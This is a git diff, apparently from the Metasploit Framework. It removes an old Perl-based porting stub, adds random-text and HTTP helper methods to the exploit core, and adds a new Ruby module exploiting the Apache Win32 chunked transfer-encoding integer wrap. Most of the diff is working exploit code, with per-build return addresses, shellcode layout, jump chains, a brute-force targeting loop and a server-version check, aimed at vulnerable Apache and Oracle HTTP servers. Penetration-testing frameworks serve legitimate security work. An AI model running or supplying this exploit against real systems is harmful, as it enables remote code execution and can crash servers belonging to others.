diff --git a/dev/porting/queue/apache_chunked_win32.rb b/dev/porting/queue/apache_chunked_win32.rb deleted file mode 100644 index b75640c83b..0000000000 --- a/dev/porting/queue/apache_chunked_win32.rb +++ /dev/null @@ -1,344 +0,0 @@ -require 'msf/core' - -module Msf - -class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote - - include Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache Win32 Chunked Encoding', - 'Description' => %q{ - This module exploits the chunked transfer integer wrap - vulnerability in Apache version 1.2.x to 1.3.24. This - particular module has been tested with all versions of the - official Win32 build between 1.3.9 and 1.3.24. Additionally, - it should work against most co-branded and bundled versions - of Apache (Oracle 8i, 9i, IBM HTTPD, etc). - - You will need to use the Check() functionality to determine - the exact target version prior to launching the exploit. The - version of Apache bundled with Oracle 8.1.7 will not - automatically restart, so if you use the wrong target value, - the server will crash. - - }, - 'Author' => [ 'hdm' ], - 'Version' => '$Revision$', - 'References' => - [ - [ 'OSVDB', '838'], - [ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'], - [ 'MIL', '4'], - - ], - 'Privileged' => true, - 'Payload' => - { - 'Space' => 987, - 'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20", - 'MinNops' => 200, - 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", - - }, - 'Targets' => - [ - [ - 'Automatic Targetting', - { - 'Platform' => 'win32, win2000, winnt, win2003, winxp', - 'Ret' => 0x0, - }, - ], - ], - 'DisclosureDate' => 'Jun 19 2002', - 'DefaultTarget' => 0)) - end - - def exploit - connect - - handler - disconnect - end - -=begin - -## -# This file is part of the Metasploit Framework and may be redistributed -# according to the licenses defined in the Authors field below. In the -# case of an unknown or missing license, this file defaults to the same -# license as the core Framework (dual GPLv2 and Artistic). The latest -# version of the Framework can always be obtained from metasploit.com. -## - -package Msf::Exploit::apache_chunked_win32; -use base "Msf::Exploit"; -use strict; -use Pex::Text; - -my $info = -{ - 'Name' => 'Apache Win32 Chunked Encoding', - 'Version' => '$Revision$', - 'Authors' => [ 'H D Moore ', ], - 'Arch' => [ 'x86' ], - 'OS' => [ 'win32', 'win2000', 'winnt', 'win2003', 'winxp' ], - 'Priv' => 1, - 'UserOpts' => - { - 'RHOST' => [1, 'ADDR', 'The target address'], - 'RPORT' => [1, 'PORT', 'The target port', 80], - 'SSL' => [0, 'BOOL', 'Use SSL'], - }, - - 'Payload' => - { - 'Space' => 987, - 'MinNops' => 200, - 'BadChars' => "\x00+&=%\x0a\x0d\x20", - 'Keys' => ['+ws2ord'], - # sub esp, 4097 + inc esp makes stack happy - 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", - }, - - 'Description' => Pex::Text::Freeform(qq{ - This module exploits the chunked transfer integer wrap vulnerability - in Apache version 1.2.x to 1.3.24. This particular module has been - tested with all versions of the official Win32 build between 1.3.9 and - 1.3.24. Additionally, it should work against most co-branded and bundled - versions of Apache (Oracle 8i, 9i, IBM HTTPD, etc). - - You will need to use the Check() functionality to determine the exact target - version prior to launching the exploit. The version of Apache bundled with - Oracle 8.1.7 will not automatically restart, so if you use the wrong target - value, the server will crash. - }), - - 'Refs' => - [ - ['OSVDB', 838], - ['URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'], - ['MIL', 4], - ], - - # All return addresses are pop/pop/ret's... - 'Targets' => - [ - ['Windows Generic Bruteforce'], - - # Official Apache.org Win32 Builds - ['Apache.org Build 1.3.9->1.3.19', 0x00401151, [6,2,0,4,1,3,5,7] ], - ['Apache.org Build 1.3.22/1.3.24', 0x00401141, [2,6,0,4,1,3,5,7] ], - ['Apache.org Build 1.3.19/1.3.24', 0x6ff6548d, [2,6,0,4,1,3,5,7] ], - ['Apache.org Build 1.3.22', 0x6ff762ac, [2,6,0,4,1,3,5,7] ], - - # Return to Win9xConHook.dll via call ebx - ['Apache.org Build 1.3.17->1.3.24 (Windows 2000)', 0x1c0f13e5, [2,6,0,4,1,3,5,7] ], - - # Return to Win9xConHook.dll via call esi - ['Apache.org Build 1.3.17->1.3.24 (Windows NT 4.0)', 0x1c0f1033, [2,6,0,4,1,3,5,7] ], - - # Interesting return to PEB trick for Windows 2003 systems... - [ 'Windows 2003 English SP0', 0x7ffc0638, [2,6,5,4,1,3,0,7] ], # peb :) - - # Pop/Pop/Return on Windows 2000 - [ 'Windows 2000 English', 0x75022ac4, [2,6,5,4,1,3,0,7] ], - - # Oracle HTTPD: [ 8.1.7 ] (one shot) - # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22 - ['Oracle 8.1.7 Apache 1.3.12', 0x1d84d42c, [7] ], - - # Oracle HTTPD: [ 9.1.0 ] (multiple shots) - # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24 - ['Oracle 9.1.0 Apache 1.3.12', 0x10016061, [5,6,0,4,1,3,2,7] ], - - # Oracle HTTPD: [ 9.2.0 ] (multiple shots) - # Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25 - ['Oracle 9.2.0 Apache 1.3.22', 0x6ff6427a, [5,6,0,4,1,3,2,7] ], - - # Generic debugging targets - [ 'Debugging Target', 0xcafebabe, [0,1,2,3,4,5,6,7] ], - ], - - 'Keys' => ['apache'], - - 'DisclosureDate' => 'Jun 19 2002', -}; - -sub new { - my $class = shift; - my $self = $class->SUPER::new({'Info' => $info}, @_); - return($self); -} - -sub Check { - my $self = shift; - my $target_host = $self->GetVar('RHOST'); - my $target_port = $self->GetVar('RPORT'); - - my $s = Msf::Socket::Tcp->new - ( - 'PeerAddr' => $target_host, - 'PeerPort' => $target_port, - 'LocalPort' => $self->GetVar('CPORT'), - 'SSL' => $self->GetVar('SSL'), - ); - if ($s->IsError) { - $self->PrintLine('[*] Error creating socket: ' . $s->GetError); - return $self->CheckCode('Connect'); - } - - $s->Send("GET / HTTP/1.0\r\n\r\n"); - my $res = $s->Recv(-1, 5); - $s->Close(); - - if (! $res) { - $self->PrintLine("[*] No response to request"); - return $self->CheckCode('Generic'); - } - - if ($res =~ m/^Server:([^\n]+)/sm) { - my $svr = $1; - $svr =~ s/(^\s+|\r|\s+$)//g; - - if ($svr eq 'Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22') { - $self->PrintLine("[*] Vulnerable server '$svr'"); - $self->PrintLine("[*] This looks like an Oracle 8.1.7 Apache service (one-shot only)"); - return $self->CheckCode('Appears'); - } - - if ($svr eq 'Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24') { - $self->PrintLine("[*] Vulnerable server '$svr'"); - $self->PrintLine("[*] This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)"); - return $self->CheckCode('Appears'); - } - - if ($svr eq 'Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25') { - $self->PrintLine("[*] Vulnerable server '$svr'"); - $self->PrintLine("[*] This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)"); - return $self->CheckCode('Appears'); - } - - # These signatures were taken from the apache_chunked_encoding.nasl Nessus plugin - if ($svr =~ /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/) { - $self->PrintLine("[*] IBM backported the patch, this system is not vulnerable"); - return $self->CheckCode('Safe'); - } - elsif ( $svr =~ /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/) { - $self->PrintLine("[*] Vulnerable server '$svr'"); - return $self->CheckCode('Appears'); - } - - $self->PrintLine("[*] Server is probably not vulnerable '$svr'"); - return $self->CheckCode('Safe'); - } - - # Return true if there is no server banner - $self->PrintLine("[*] No server banner was found in the HTTP headers"); - return $self->CheckCode('Unknown'); -} - -sub Exploit { - my $self = shift; - my $target_host = $self->GetVar('RHOST'); - my $target_port = $self->GetVar('RPORT'); - my $target_idx = $self->GetVar('TARGET'); - my $shellcode = $self->GetVar('EncodedPayload')->Payload; - - my @targets; - my @offsets; - my $pad; - - if (! $self->InitNops(16)) { - $self->PrintLine("[*] Failed to initialize the nop module."); - return; - } - - # Brute force everything :-) - if ($target_idx == 0) { - @targets = @{$self->Targets}; - shift(@targets); - } else { - @targets = ( $self->Targets->[ $target_idx ] ); - } - - foreach my $target (@targets) { - foreach my $pad (@{ $target->[2] }) { - my $request; - $request = "GET / HTTP/1.1\r\n"; - $request .= "Host: $target_host:$target_port\r\n"; - $request .= "Transfer-Encoding: CHUNKED\r\n"; - $request .= "\r\n"; - - my $fatality = $self->MakeNops(6) ."\xe9". pack('V', -900) ."pP"; - my $pattern = Pex::Text::AlphaNumText(3936) .$shellcode.$fatality. Pex::Text::AlphaNumText($pad); - - # Move slightly further back to allow padding changes - $pattern .= "\xeb\xf0\xde\xad"; - $pattern .= pack('V', $target->[1]); - - # Create a chain of return addresses and reverse jumps - for (2 .. 256) { - $pattern .= "\xeb\xf6\xbe\xef"; - $pattern .= pack('V', $target->[1]); - } - - # Even out the request length based on the padding value - # This is required to reliably hit the return address offset - $pattern .= Pex::Text::AlphaNumText(8-$pad); - - # Place our string after the evil chunk size... - $request .= "FFFFFFF0 ". $pattern; - - ## - # Regardless of what return we hit, execution jumps backwards to the shellcode: - # _______________ _______________ ___________ - # _________ _____________ | ________ | | ______ | | ______ - # v | v | v v | | v v | | v v | - # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret] - ## - - my $ccount = 0; - -AGAIN: - my $s = Msf::Socket::Tcp->new - ( - 'PeerAddr' => $target_host, - 'PeerPort' => $target_port, - 'LocalPort' => $self->GetVar('CPORT'), - 'SSL' => $self->GetVar('SSL'), - ); - if ($s->IsError) { - $self->PrintLine('[*] Error creating socket: ' . $s->GetError); - return if $ccount > 2; - - # Give the server a second to recover - sleep(1); - - # Increment the error counter and try it again - $ccount++; - goto AGAIN; - } - - $self->PrintLine("[*] Trying ". $target->[0] ." [ " . sprintf("0x%.8x", $target->[1]) ."/$pad ]"); - $s->Send($request); - $self->Handler($s); - $s->Close(); - - # Give the server time to hit the exception and execute payload - sleep(2); - } - } - return; -} - - -1; - -=end - - -end -end diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 4d71ba0ec1..da5b4932ce 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -525,6 +525,13 @@ class Exploit < Msf::Module return (target_idx) ? targets[target_idx.to_i] : nil end + # + # The target index that has been selected. + # + def target_index + datastore['TARGET'].to_i + end + # # Returns the target's platform, or the one assigned to the module itself. # @@ -796,6 +803,61 @@ class Exploit < Msf::Module nop_sled end + ## + # + # Utility methods for generating random text that implicitly uses the + # exploit's bad character set. + # + ## + + # + # Generate random text characters avoiding the exploit's bad + # characters. + # + def rand_text(length) + Rex::Text.rand_text(length, payload_badchars) + end + + # + # Generate random english-like avoiding the exploit's bad + # characters. + # + def rand_text_english(length) + Rex::Text.rand_text_english(length, payload_badchars) + end + + # + # Generate random alpha characters avoiding the exploit's bad + # characters. + # + def rand_text_alpha(length) + Rex::Text.rand_text_alpha(length, payload_badchars) + end + + # + # Generate random alpha upper characters avoiding the exploit's bad + # characters. + # + def rand_text_alpha_upper(length) + Rex::Text.rand_text_alpha_upper(length, payload_badchars) + end + + # + # Generate random alphan lower characters avoiding the exploit's bad + # characters. + # + def rand_text_alpha_lower(length) + Rex::Text.rand_text_alpha_lower(length, payload_badchars) + end + + # + # Generate random alphanumeric characters avoiding the exploit's bad + # characters. + # + def rand_text_alphanumeric(length) + Rex::Text.rand_text_alphanumeric(length, payload_badchars) + end + ## # # Handler interaction diff --git a/lib/msf/core/exploit/http.rb b/lib/msf/core/exploit/http.rb index 085c3c4b63..04efe2acf5 100644 --- a/lib/msf/core/exploit/http.rb +++ b/lib/msf/core/exploit/http.rb @@ -170,7 +170,7 @@ module Exploit::Remote::HttpClient request.junk_self_referring_directories = 1 end - c.send_request(request, timeout) + c.send_request(request, opts[:timeout] ? opts[:timeout] : timeout) end ## @@ -197,7 +197,7 @@ module Exploit::Remote::HttpClient # Returns the VHOST of the HTTP server. # def vhost - datastore['VHOST'] + datastore['VHOST'] || datastore['RHOST'] end # diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 6e7c783050..bcd1e2e4f3 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -120,6 +120,11 @@ class Client if chash['data'] req.body = chash['data'] end + + # Merge headers supplied by the caller. + if chash['headers'] + req.headers.update!(chash['headers']) + end # Set the content-type if chash['content-type'] diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb new file mode 100644 index 0000000000..888e1aa507 --- /dev/null +++ b/modules/exploits/windows/http/apache_chunked.rb @@ -0,0 +1,248 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Http::ApacheChunkedEncoding < Msf::Exploit::Remote + + include Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Win32 Chunked Encoding', + 'Description' => %q{ + This module exploits the chunked transfer integer wrap + vulnerability in Apache version 1.2.x to 1.3.24. This + particular module has been tested with all versions of the + official Win32 build between 1.3.9 and 1.3.24. Additionally, + it should work against most co-branded and bundled versions + of Apache (Oracle 8i, 9i, IBM HTTPD, etc). + + You will need to use the Check() functionality to determine + the exact target version prior to launching the exploit. The + version of Apache bundled with Oracle 8.1.7 will not + automatically restart, so if you use the wrong target value, + the server will crash. + }, + 'Author' => 'hdm', + 'Version' => '$Revision: 3110 $', + 'References' => + [ + [ 'OSVDB', '838'], + [ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'], + [ 'MIL', '4'], + + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Payload' => + { + 'Space' => 987, + 'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20", + 'MinNops' => 200, + 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", + + }, + 'Targets' => + [ + [ 'Windows Generic Bruteforce', {} ], + + # Official Apache.org win32 builds + [ 'Apache.org Build 1.3.9->1.3.19', + { + 'Ret' => 0x00401151, + 'Pad' => [6,2,0,4,1,3,5,7] + } + ], + [ 'Apache.org Build 1.3.22->1.3.24', + { + 'Ret' => 0x00401141, + 'Pad' => [2,6,0,4,1,3,5,7] + } + ], + [ 'Apache.org Build 1.3.19->1.3.24', + { + 'Ret' => 0x6ff6548d, + 'Pad' => [2,6,0,4,1,3,5,7] + } + ], + [ 'Apache.org Build 1.3.22', + { + 'Ret' => 0x6ff762ac, + 'Pad' => [2,6,0,4,1,3,5,7] + } + ], + + # Return to Win9xConHook.dll via call ebx + [ 'Apache.org Build 1.3.17->1.3.24 (Windows 2000)', + { + 'Ret' => 0x1c0f13e5, + 'Pad' => [2,6,0,4,1,3,5,7] + } + ], + + # Return to Win9xConHook.dll via call esi + [ 'Apache.org Build 1.3.17->1.3.24 (Windows NT)', + { + 'Ret' => 0x1c0f1033, + 'Pad' => [2,6,0,4,1,3,5,7] + } + ], + + # Interesting return to PEB trick for Windows 2003 systems... + [ 'Windows 2003 English SP0', + { + 'Ret' => 0x7ffc0638, + 'Pad' => [2,6,5,4,1,3,0,7] + } + ], + + # Pop/Pop/Return on Windows 2000 + [ 'Windows 2000 English', + { + 'Ret' => 0x75022ac4, + 'Pad' => [2,6,5,4,1,3,0,7] + } + ], + + # Oracle HTTPD: [ 8.1.7 ] (one shot) + # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 + # OpenSSL/0.9.5a mod_perl/1.24 + [ 'Oracle 8.1.7 Apache 1.3.12', + { + 'Ret' => 0x1d84d42c, + 'Pad' => [7] + } + ], + + # Oracle HTTPD: [ 9.1.0 ] (multiple shots) + # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 + # OpenSSL/0.9.5a mod_perl/1.24 + [ 'Oracle 9.1.0 Apache 1.3.12', + { + 'Ret' => 0x10016061, + 'Pad' => [5,6,0,4,1,3,2,7] + } + ], + + # Oracle HTTPD: [ 9.2.0 ] (multiple shots) + # Oracle HTTP Server Powered by Apache/1.3.22 (Win32) + # mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b + # mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25 + [ 'Oracle 9.2.0 Apache 1.3.22', + { + 'Ret' => 0x6ff6427a, + 'Pad' => [5,6,0,4,1,3,2,7] + } + ], + + # Generic debugging targets + [ 'Debugging Target', + { + 'Ret' => 0xcafebabe, + 'Pad' => [0,1,2,3,4,5,6,7] + } + ] + ], + 'DisclosureDate' => 'Jun 19 2002', + 'DefaultTarget' => 0)) + end + + def check + response = request(:uri => '/') + + if response.nil? + print_status("No response to request") + return Exploit::CheckCode::Safe + end + + code = Exploit::CheckCode::Appears + + case response['Server'] + when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22" + print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)") + when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24" + print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)") + when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25" + print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)") + when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/ + print_status("IBM backported the patch, this system is not vulnerable") + code = Exploit::CheckCode::Safe + when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/ + else + code = Exploit::CheckCode::Safe + end + + if code == Exploit::CheckCode::Appears + print_status("Vulnerable server: #{response['Server']}") + else + print_status("Serer is probably not vulnerable: #{response['Server']}") + end + + return code + end + + def exploit + if target_index == 0 + targets.each_with_index { |targ, idx| + next if idx == 0 + + exploit_target(targ) + } + else + exploit_target(target) + end + end + + def exploit_target(target) + target['Pad'].each { |pad| + pattern = + rand_text_alphanumeric(3936) + + payload.encoded + + make_nops(6) + "\xe9" + [-900].pack('V') + "pP" + + rand_text_alphanumeric(pad) + + # Move slightly further back to allow padding changes + pattern += + "\xeb\xf0\xde\xad" + + [target.ret].pack('V') + + # Create a chain of return addresses and reverse jumps + 254.times { |x| + pattern += + "\xeb\xf6\xbe\xef" + + [target.ret].pack('V') + } + + # Even out the request length based on the padding value + # This is required to reliably hit the return address offset + pattern += rand_text_alphanumeric(8 - pad) + + # + # Regardless of what return we hit, execution jumps backwards to the shellcode: + # _______________ _______________ ___________ + # _________ _____________ | ________ | | ______ | | ______ + # v | v | v v | | v v | | v v | + # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret] + # + + print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]") + + # Build the request + request( + :uri => '/', + :headers => + { + 'Host' => "#{vhost}:#{rport}", + 'Transfer-Encoding' => "CHUNKED" + }, + :body => "FFFFFFF0 " + pattern, + :timeout => 2 + ) + + # Check the handler + handler + } + end + +end +end